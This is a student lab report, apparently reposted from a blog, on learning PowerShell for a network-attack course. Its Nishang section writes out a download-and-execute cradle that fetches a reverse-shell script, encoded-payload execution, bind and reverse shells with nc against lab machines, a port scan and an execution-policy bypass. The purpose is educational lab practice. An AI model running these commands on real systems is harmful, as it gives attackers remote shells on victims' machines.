2018~2019-11 20165107 网络对抗技术期末免考 Exp10 Final Powershell学习应用与渗透实践...
20165107 網絡對抗技術免考 Exp10 Final? Powershell學習應用與滲透實踐
目錄
1.Powershell入門相關知識
- Powershell簡介
- Powershell命令
- Powershell語法
- Powershell函數
- Powershell管道
- powershell特性介紹
2.Powershell腳本
- 腳本編寫和運行操作
- 簡單腳本實現
3.Powershell惡意代碼攻擊及簡單滲透測試
- 常見攻擊工具簡介
- TCP交互式Shell滲透測試
- 利用腳本在主機內網端口掃描測試?
4. PowerShell其他應用
- Office互操作
- 編寫簡單腳本并形成工具供他人使用
5.實驗總結與體會
報告正文
1.Powershell入門相關知識
1.1.Powershell簡介
Powershell不僅僅是一門腳本語言,也是一種運行命令行的工具,它對編程基礎要求不高,沒有任何基礎的人也都可以學習。Powershell的應用給Windows系統的使用者提供了許多自動化管理系統的方法。Powershell是以.Net Framework為技術基礎,依托.Net Framework框架,擁有能夠訪問整個.Net Framework底層的能力。
Powershell的誕生源于對Unix Shell的追逐,因為Unix擁有強大的Shell,比如sh、bash以及csh,而Windows的Cmd功能相差甚遠。2016年8月,微軟開放了Powershell的源代碼,并表示將支持Linux系統。
打開Powershell有兩種方法,一是使用“Win+R”組合按鍵打開運行窗口,輸入“Powershell”,然后按回車鍵打開;二是使用開始菜單,打開附件、Powershell。
*檢查本機Powershell版本號
1.2Powershell命令
Powershell有很多不同類型的命令,部分叫做Cmdlet,每一個Cmdlet在Powershell上唯一,除了這些內置的Cmdlet,Powershell還可以使用外置命令行命令,就是我們經常在Cmd上使用的那些命令。舉例,Powershell使用外置Ping命令來檢查本地主機的內網連通狀況,使用時將在后臺開啟Cmd.exe。
Powershell命名習慣為“動詞—名詞”,這樣有助于我們準確猜解命令含義,便于加深對命令的理解。但這些命令相較于Cmd依然過長,輸入命令過長且易輸錯,所以誕生了別名,簡短而方便輸入。還有一種比較長的命令,Powershell可以直接調用.Net Frame 底層功能,其內在支持著許多的.NET對象。
可以通過“Get-Alias -name別名”查詢別名所指的真實cmdlet命令。
1.3Powershell語法
(1)變量
變量都是以$開頭的,剩余字符可以是數字、字母、下劃線的任意字符,且不區分大小寫。
變量賦值符=,其幾乎可以把任何數據賦值給一個變量。舉例,交換兩個變量的值。
自動變量:一旦打開Powershell就會自動加載的變量;列表傳送->。
指定類型定義變量:[變量類型]$變量名
(2)數組
創建數組: $array = 1,2,3,4
$array = 1..4
$a=@() # 空數組
$a=,"1" # 一個元素的數組
訪問數組: $array[0]
判斷一個變量是否為數組:$test -is [array]
數組的追加:$books += "元素4"
強類型數組:[int[]] $nums=@()
(3)條件判斷
比較運算符 :-eq:等于 -ne:不等于 -gt:大于 -ge:大于等于 -lt:小于 -le:小于等于 -contains:包含 -notcontains:不包含
布爾運算 :-and:和 -or:或 -xor:異或 -not:逆
以及if-else語句、循環語句while。
1.4Powershell函數
(1)定義函數
函數的結構由三部分組成:函數名,參數,函數體
刪除函數 :控制臺定義的函數只會在當前會話生效,一旦控制臺退出,會自動消失。在不關閉控制臺的條件下刪除一個已經定義好的函數,可是使用虛擬驅動器的方法:del Function:函數名
(2)函數的參數
萬能參數:給一個函數定義參數最簡單的是使用$args這個內置的參數。它可以識別任意個參數。尤其適用哪些參數可有可無的函數。
Return語句 :Powershell會將函數中所有的輸出作為返回值,但是也可以通過return語句指定具體的我返回值。Return語句會將指定的值返回,同時也會中斷函數的執行,return后面的語句會被忽略。
(3)支持的函數
Powershell已經提供了許多用戶能夠使用的預定義函數,這些函數可以通過Function:PSDrive虛擬驅動器查看
?
相關函數作用:
Clear-Host:清除屏幕的緩存
help,man:查看命令的幫助文檔
mkdir,md:通過new-Item創建子目錄
more:分屏輸出管道結果
prompt:返回提示文本
TabExpansion:Tab鍵的自動完成提示
X:調用Set-Location定位到指定的驅動器根目錄
?
1.5Powershell管道
管道將一個命令的輸出結果傳輸作為下一條命令輸入的一部分,聯合執行新的命令。強大的管道功能使得命令的輸入變得簡單,一個可能需要很多變量的才能完成的腳本命令,通過管道的運用可能僅僅一個序列行就可以完成。舉例,運用管道命令的形式將當前路徑文件的信息以默認的形式輸出在控制終端上。
?
1.6powershell特性介紹
Powershell將命令交互式環境與腳本結合在一起,從而擁有操作命令行和直接調用COM對象的能力。舉例,Powershell進行數值計算可以看出它是一種交互式環境。
Powershell也有自己的開發環境,Powershell ISE 就扮演著集成開發的功能,可以在編程powershell程序時進行編輯和調試。
?
2.Powershell腳本
2.1腳本編寫和運行操作
Powershell腳本可以理解為含有Powershell代碼的文本文件,如果要執行這個文本文件,Powershell解釋器會逐一解釋并執行它的每一條語句。舉例,下面通過重定向創建Powershell腳本myscript.ps1。
顯示創建腳本文件成功!
2.2簡單腳本實現
創建“5107good.ps1”腳本文件內容
腳本內容:
$a = "20165107 is good student"
$a
echo? $a > a.txt
dir a.txt
腳本的意思是:先定義了一個變量,然后輸出這個變量的結果,再將這個變量的值寫入文件a.txt,最后輸出這個文件的屬性信息。
運行腳本:
?
要注意的是:在執行過程中我遇到了系統禁止新創建腳本執行的情況,這就要考慮Powershell的執行策略了。腳本執行策略是微軟為Powershell腳本執行設置的一種安全選項,為了防止用戶在被滲透注入的情況下,執行一些破壞性腳本。如果遇到系統禁止新創建腳本執行的情況,我們可以使用“Bypass”標記執行策略,繞過Powershell腳本執行策略。
?
3. Powershell惡意代碼攻擊及簡單滲透測試
3.1常見攻擊工具簡介
Powershell的主要功能已經可以運用到攻擊入侵的各個階段,它的很多模塊已經被列入白名單,從而進行滲透測試、繞過防病毒檢測、保留持久性后門等等功能。例如,為避免被發現,Powershell腳本可以動態加載到內存中,從而不接觸硬盤,在用戶計算機留下極少量的證據。常見的攻擊應用工具有PowerSploit、Veil-Framework、NiShang、SET、Metasploit和Empire。
3.2使用常規應用工具進行Powershell惡意代碼攻擊——Nishang
3.2.1.準備工作
我選擇Nishang工具進行滲透攻擊,Nishang是基于PowerShell的滲透測試專用工具,它集成了框架、腳本和各種payload,被廣泛應用于滲透測試的各個階段。在使用前,先檢查自己的powershell版本,要在v3以上才能使用。使用“get-host”命令查詢。
以powershell管理員身份進入相應目錄下,導入框架:Import-Module .\nishang.psm1,這里又存在執行策略的問題,要記得對執行策略進行修改。
導入框架后,在使用對應腳本時,可以使用Get-Help 腳本名稱 -full得到一些使用提示。
有兩種在內存當中加載腳本的方式 :
第一種:
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.](IEX為遠程下載腳本)
第二種:
使用Invoke-Encode腳本來將我們現有的腳本編碼壓縮:Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand
在目標上執行:powershell -e [encodedscript]
3.2.2.滲透測試
(1)TCP交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向連接或反向連接shell,且基于TCP協議。
參數
-Port需要正向監聽的端口或要反向連接的端口。
-Bind正向連接
-IPAddress選擇反向連接時需要連接到的IP地址
-Reverse反向連接
正向連接 :
在靶機運行腳本,監聽端口5107:Invoke-PowerShellTcp -Bind -Port 5107
使用nc連接到靶機端口5107:nc -nv 192.168.150.133 5107(這里IP為win7)
成功獲取到shell!
?
反向連接:
使用nc監聽本地端口5107:nc -ltp 5107
在靶機上反彈shell:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.150.151 -Port 5107(這里IP為kali)
下面,我對此腳本進行分析:
先使用Get-Help Invoke-PowerShellTcp -full查看信息
運行參數部分:“reverse”默認為反向連接,可選參數有reverse和bind兩種。
主函數部分:
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
函數的目的是在kali終端上顯示被攻擊主機的用戶名和主機名(主機型號)。
(2)利用腳本在主機內網進行端口掃描?
利用Invoke-PortScan指令:PS?>Invoke-PortScan?-StartAddress?192.168.0.1?-EndAddress?192.168.150.1?-ResolveHost?-ScanPort?-Port?80 進行端口掃描
掃描結果:(圖中還顯示了正在ping的過程)
對腳本進行分析:
主要的參數有:
StartAddress?是掃描范圍開始的地址
EndAddress?掃描范圍結束的地址
ScanPort?進行端口掃描
Port?指定掃描端口(默認掃描端口:21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080等) TimeOut?設置超時時間
4. PowerShell其他應用
4.1.Office互操作
PowerShell可以通過COM接口和Office程序交互,最常用的是操作Excel,下面我們開始學習操作Excel。
創建一個可見的Excel對象:$excel.Visible=$true
打開一個現成的工作簿:$workbook = $excel.Workbooks.Open("XXX.xlsx")
創建一個新的工作簿:$workbook = $excel.Workbooks.Add()
選擇某一個工作表(這里的下標從一開始):$worksheet = $workbook.Worksheets.Item(1)
保存修改后的工作表:$workbook.SaveAs("D:\Desktop\hello.xlsx")
操作數據:
利用以上語法我們對已存在的一個Excel表格進行數據的寫入。
腳本demo.ps1為:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\一林\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 9; $i++) {
?? # 第一行
?? $worksheet.Cells.item(1, $i + 1) = $i
?? # 第一列
?? $worksheet.Cells.item($i + 1, 1) = $i
?? # 它們的乘積
?? for ($j = 1; $j -le 9; $j++) {
???? $worksheet.Cells.item($i + 1, $j + 1) = $i * $j
? }
}
再將excel表格中的數字顯示在powershell中,腳本demo2.ps1為:
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Open("C:\Users\一林\Desktop\1.xlsx")
$worksheet = $workbook.Worksheets.Item(1)
for ($i = 1; $i -le 10; $i++) {
?? for ($j = 1; $j -le 10; $j++) {
????? Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t"
?? }
?? Write-Host
}
執行命令行,顯示出結果。
4.2自己編寫簡單腳本并形成工具供他人使用
我們使用PowerShell自帶的開發工具PowerShell ISE來編寫腳本
我們首先借用WMI對象寫一個可以輸出計算機C盤信息的命令:Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
接下來我們指定某個計算機:Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
我們的目的是寫好腳本給別人,對方直接調用這個腳本后直接輸入命令,這樣就可以實現上述功能:輸出計算機C盤信息的命令。
我所寫的腳本內容為:
<#
.Synopsis
?? This is for diskinfo
.DESCRIPTION
?? This is for remote computer
.EXAMPLE
?? diskinfo -computername remote
#>
function Get-diskinfo
{
? [CmdletBinding()]
? Param
? (
????? # Param 幫助描述
????? [Parameter(Mandatory=$true)]
????? [string[]]$ComputerName,
????? $bogus
? )
? Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
}
?
現在,我們可以使用這個寫好的腳本運行
調用腳本:. .\Diskinfo.ps1 ?
使用:get-diskinfo -ComputerName localhost
結果顯示腳本運行成功。
?
5.實驗總結與體會
? ? ?? 本次免考我做的題目是powershell基礎學習與應用以及利用powershell腳本進行簡單的滲透攻擊。在準備題目的過程中,我查閱了有關powershell語言和腳本的編寫方法,接觸到powershell的很多應用,感受到微軟powershell功能的強大,同時也發現powershell存在著很多漏洞,這也讓powershell成為黑客、白帽子攻擊和研究的重點對象,而微軟也發現了powershell的安全風險,所以默認限制了powershell運行腳本的權限,所以我在實驗過程中首先就要更改powershell的腳本執行權限。針對powershell攻擊,市面上已經有多款成熟的應用,比如我所選擇的Nishang,就是各種攻擊腳本的集合,在實驗中我只進行了最簡單的滲透攻擊,其實它含有的攻擊手段和應用還有很多很多……免考讓我重新認識了powershell,之前我對powershell的印象還是和cmd差不多的簡單的命令窗口之類的東西,經過免考題目的準備和學習,我對powershell的認識就像是打開了新世界的大門,總之免考內容的學習令我收獲很大。
? ? ?? 當然,一學期的網絡對抗課程結束了,時間真的好快!這門課給我與其他課程不同的感覺,雖然是選修,但我學的很認真、很有動力。因為網抗的知識和內容不僅激發興趣,還大幅度提升了我上機操作的動手實踐能力,每個實驗成功后都有一種小成就感。我印象最深的是老師上課跟我們所強調的:“做實驗前,一定要理清實驗思路,明確每一步都在干什么,把握好大方向,出現問題研究錯在哪里,找到問題產生原因并解決,千萬不能盲目地按步驟做,都不知道自己在做什么……我們不需要背指令,要有能查到、能看懂、現學現用的能力,站在巨人的肩膀上。”老師的話我銘記在心,因為它們不僅僅能應用在實驗過程中啊,衷心感謝老師!網絡對抗課我收獲很大,它隸屬我的專業課,對日后學習工作都有幫助,我也會繼續學習網絡對抗相關知識,不斷提升自己的網絡安全意識和信息安全技術水平。
?
轉載于:https://www.cnblogs.com/3523108059lyl/p/11121794.html
總結
以上是生活随笔為你收集整理的2018~2019-11 20165107 网络对抗技术期末免考 Exp10 Final Powershell学习应用与渗透实践...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: # 起床困难综合症(二进制枚举+按位求贡
- 下一篇: 个人测试总结